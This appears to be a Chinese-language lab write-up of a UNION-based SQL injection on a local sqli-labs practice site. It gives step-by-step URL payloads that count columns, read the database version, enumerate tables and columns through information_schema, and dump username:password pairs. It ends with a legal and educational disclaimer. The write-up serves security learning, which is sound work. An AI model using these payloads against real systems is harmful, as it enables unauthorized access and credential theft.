
1.这个题目是需要我们在URL栏里面自己构造payload进行注入实验的,首先我们要测试是否可注入,返回结果正常表示注入成功,存在漏洞
sql
?/id='or'1'='1

2.然后我们要确定列数
# 在浏览器地址栏里有特殊身份------它是"页面锚点",浏览器认为那是页内跳转标记,根本不会发给服务器。所以服务器收到的只是和原来一样。
地址栏打法:把#写成它的编码 %23
sql
?/id=1' order by 3%23

这里就可以确定是有三列的数据表,然后我们现在要确认那几列存在文本信息
3.下一步找出口------这里用个小技巧:把 id 换成 0(不存在的用户),让原查询查空,页面上就只剩 union 结果
sql
?id=0' union select 1,2,3%23

这里我们已知第二列存在的是用户名,第三列存在的是密码,我们根据这个信息进行注入,但是首先我们还是要先去知道这个数据库的版本信息
4.得到版本信息是security库
sql
?/id=0' union select 1,version(),database()%23

5.然后我们去获得这个数据库里面的表单的信息,得到这里有一个users表
sql
?id=0' union select 1,convert(group_concat(table_name) using utf8) collate utf8_general_ci,3 from information_schema.tables where table_schema=database()%23

6.接下来我们要去获得这个users表里面有哪些列的数据信息,获取列名,得到我们所需要的username以及password列,我们就直接访问这两列的信息
sql
?id=0' union select 1,convert(group_concat(column_name) using utf8) collate utf8_general_ci,3 from information_schema.columns where table_name='users'%23

7.直接访问users表的username和password两列,同时用0x3a隔开,获得用户名以及密码的信息,完成实验
sql
?id=0' union select 1,convert(group_concat(username,0x3a,password) using utf8) collate utf8_general_ci,3 from security.users%23

声明:
本文所有实验均在本地个人电脑搭建的合法靶场环境 (DVWA、sqli-labs,通过 phpStudy 本地部署)中完成,未对任何未授权的网站、服务器或系统进行测试。文中涉及的注入技术仅用于个人学习网络安全知识与记录实验过程。
SQL 注入与 XSS 属于违法行为,《中华人民共和国刑法》第 285、286 条对非法侵入计算机信息系统、破坏计算机信息系统罪有明确规定。未经授权对他人系统进行渗透测试,无论是否造成损害,都可能构成犯罪。
文中所有 payload 在合法授权环境之外不具备直接使用价值,且现代框架/ORM 已普遍预防此类基础注入。请读者仅在学习环境中复现,技术是用来防守的。
如有错误欢迎指正,转载请注明出处。